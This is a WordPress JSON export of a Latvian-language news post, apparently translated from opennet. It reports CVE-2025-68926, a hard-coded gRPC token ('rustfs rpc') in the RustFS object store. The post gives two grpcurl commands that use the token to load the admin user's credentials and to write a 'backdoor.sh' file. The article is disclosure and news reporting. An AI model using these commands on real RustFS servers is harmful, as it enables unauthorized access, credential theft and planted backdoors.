{"id":153280,"date":"2026-01-03T23:11:59","date_gmt":"2026-01-03T21:11:59","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-rustfs-vyyavlen-predopredelyonnyj-v-kode-token-dostupa"},"modified":"2026-01-03T23:11:59","modified_gmt":"2026-01-03T21:11:59","slug":"v-rustfs-vyyavlen-predopredelyonnyj-v-kode-token-dostupa","status":"publish","type":"post","link":"https:\/\/prohoster.info\/lv\/blog\/news\/v-rustfs-vyyavlen-predopredelyonnyj-v-kode-token-dostupa","title":{"rendered":"RustFS atkl\u0101ts iepriek\u0161 noteikts kod\u0113ts piek\u013cuves tokens","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

RustFS projekt\u0101, kas att\u012bsta S3 sader\u012bgu izklied\u0113tu objektu glab\u0101\u0161anu, kas uzrakst\u012bts Rust valod\u0101, tika atkl\u0101ta ievainojam\u012bba (CVE-2025-68926), kas atg\u0101dina par aizmugures durv\u012bm. Problemu izsauc cieti kod\u0113ta piek\u013cuves mar\u0137iera kl\u0101tb\u016btne, kas \u013cauj piesl\u0113gties t\u012bkla dienestam, izmantojot gRPC protokolu, nor\u0101dot galven\u0113 \"authorization\" v\u0113rt\u012bbu \"rustfs rpc\". Mar\u0137ieris bija kl\u0101t servera un klienta kod\u0101. \u0160ai probl\u0113mai ir pie\u0161\u0137irta kritiska b\u012bstam\u012bbas pak\u0101pe (9.8 no 10). <\/p>\n

Uzbruc\u0113js, kuram ir piek\u013cuve gRPC t\u012bkla portam, var\u0113ja izmantot nor\u0101d\u012bto mar\u0137ieri, lai veiktu privil\u0113\u0123\u0113tas oper\u0101cijas ar glab\u0101\u0161anu, tostarp datu dz\u0113\u0161anu, manipul\u0101cijas ar lietot\u0101ju akredit\u0101cijas datiem un klastera iestat\u012bjumu mai\u0146u. Noklus\u0113juma iestat\u012bjumos RustFS pie\u0146em gRPC piepras\u012bjumus uz TCP porta 9000 visos t\u012bkla saskarn\u0113s. Ievainojam\u012bba tika nov\u0113rsta RustFS 1.0.0-alpha.77 laidien\u0101. grpcurl -plaintext -H 'authorization: rustfs rpc' \n -d '{\"access_key\": \"admin\"}' \n localhost:9000 node_service.NodeService\/LoadUser \n grpcurl -plaintext -H 'authorization: rustfs rpc' \n -d '{\"volume\": \"config\", \"path\": \"backdoor.sh\", \"buf\": \"\u2026\"}' \n localhost:9000 node_service.NodeService\/WriteAll
\n
Avots: opennet.lv<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043f\u0440\u043e\u0435\u043a\u0442\u0435 RustFS, \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u044e\u0449\u0435\u043c \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0435 \u0441 S3 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u043d\u043e\u0435 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 Rust, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-68926), \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u044e\u0449\u0430\u044f \u0431\u044d\u043a\u0434\u043e\u0440. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435\u043c \u0436\u0451\u0441\u0442\u043a\u043e \u043f\u0440\u043e\u0448\u0438\u0442\u043e\u0433\u043e \u0432 \u043a\u043e\u0434\u0435 \u0442\u043e\u043a\u0435\u043d\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0441\u0435\u0442\u0435\u0432\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0438\u0441\u0443 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 gRPC, \u0443\u043a\u0430\u0437\u0430\u0432 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 «authorization» \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 «rustfs rpc». \u0422\u043e\u043a\u0435\u043d \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b \u0432 \u043a\u043e\u0434\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-153280","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47RustFS atkl\u0101ts iepriek\u0161 noteikts kod\u0113ts piek\u013cuves tokens | ProHoster","description":"Projekt\u0101 RustFS, kas att\u012bsta S3 sader\u012bgu sadal\u012btu objektu kr\u0101tuvi, kas uzrakst\u012bta Rust valod\u0101, atkl\u0101ta ievainojam\u012bba (CVE-2025-68926), kas atg\u0101dina aizmugures ieeju.","canonical_url":"https:\/\/prohoster.info\/lv\/blog\/news\/v-rustfs-vyyavlen-predopredelyonnyj-v-kode-token-dostupa","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"lv_LV","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0412 RustFS \u0432\u044b\u044f\u0432\u043b\u0435\u043d \u043f\u0440\u0435\u0434\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0439 \u0432 \u043a\u043e\u0434\u0435 \u0442\u043e\u043a\u0435\u043d \u0434\u043e\u0441\u0442\u0443\u043f\u0430 | ProHoster","og:description":"\u0412 \u043f\u0440\u043e\u0435\u043a\u0442\u0435 RustFS, \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u044e\u0449\u0435\u043c \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0435 \u0441 S3 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u043d\u043e\u0435 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 Rust, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-68926), \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u044e\u0449\u0430\u044f \u0431\u044d\u043a\u0434\u043e\u0440.","og:url":"https:\/\/prohoster.info\/lv\/blog\/news\/v-rustfs-vyyavlen-predopredelyonnyj-v-kode-token-dostupa","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2026-01-03T21:11:59+00:00","article:modified_time":"2026-01-03T21:11:59+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"153280","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-20 14:00:20","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2026-01-20 14:00:20","updated":"2026-01-20 14:00:20","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/lv\/wp-json\/wp\/v2\/posts\/153280","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/lv\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/lv\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/lv\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/lv\/wp-json\/wp\/v2\/comments?post=153280"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/lv\/wp-json\/wp\/v2\/posts\/153280\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/lv\/wp-json\/wp\/v2\/media?parent=153280"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/lv\/wp-json\/wp\/v2\/categories?post=153280"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/lv\/wp-json\/wp\/v2\/tags?post=153280"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}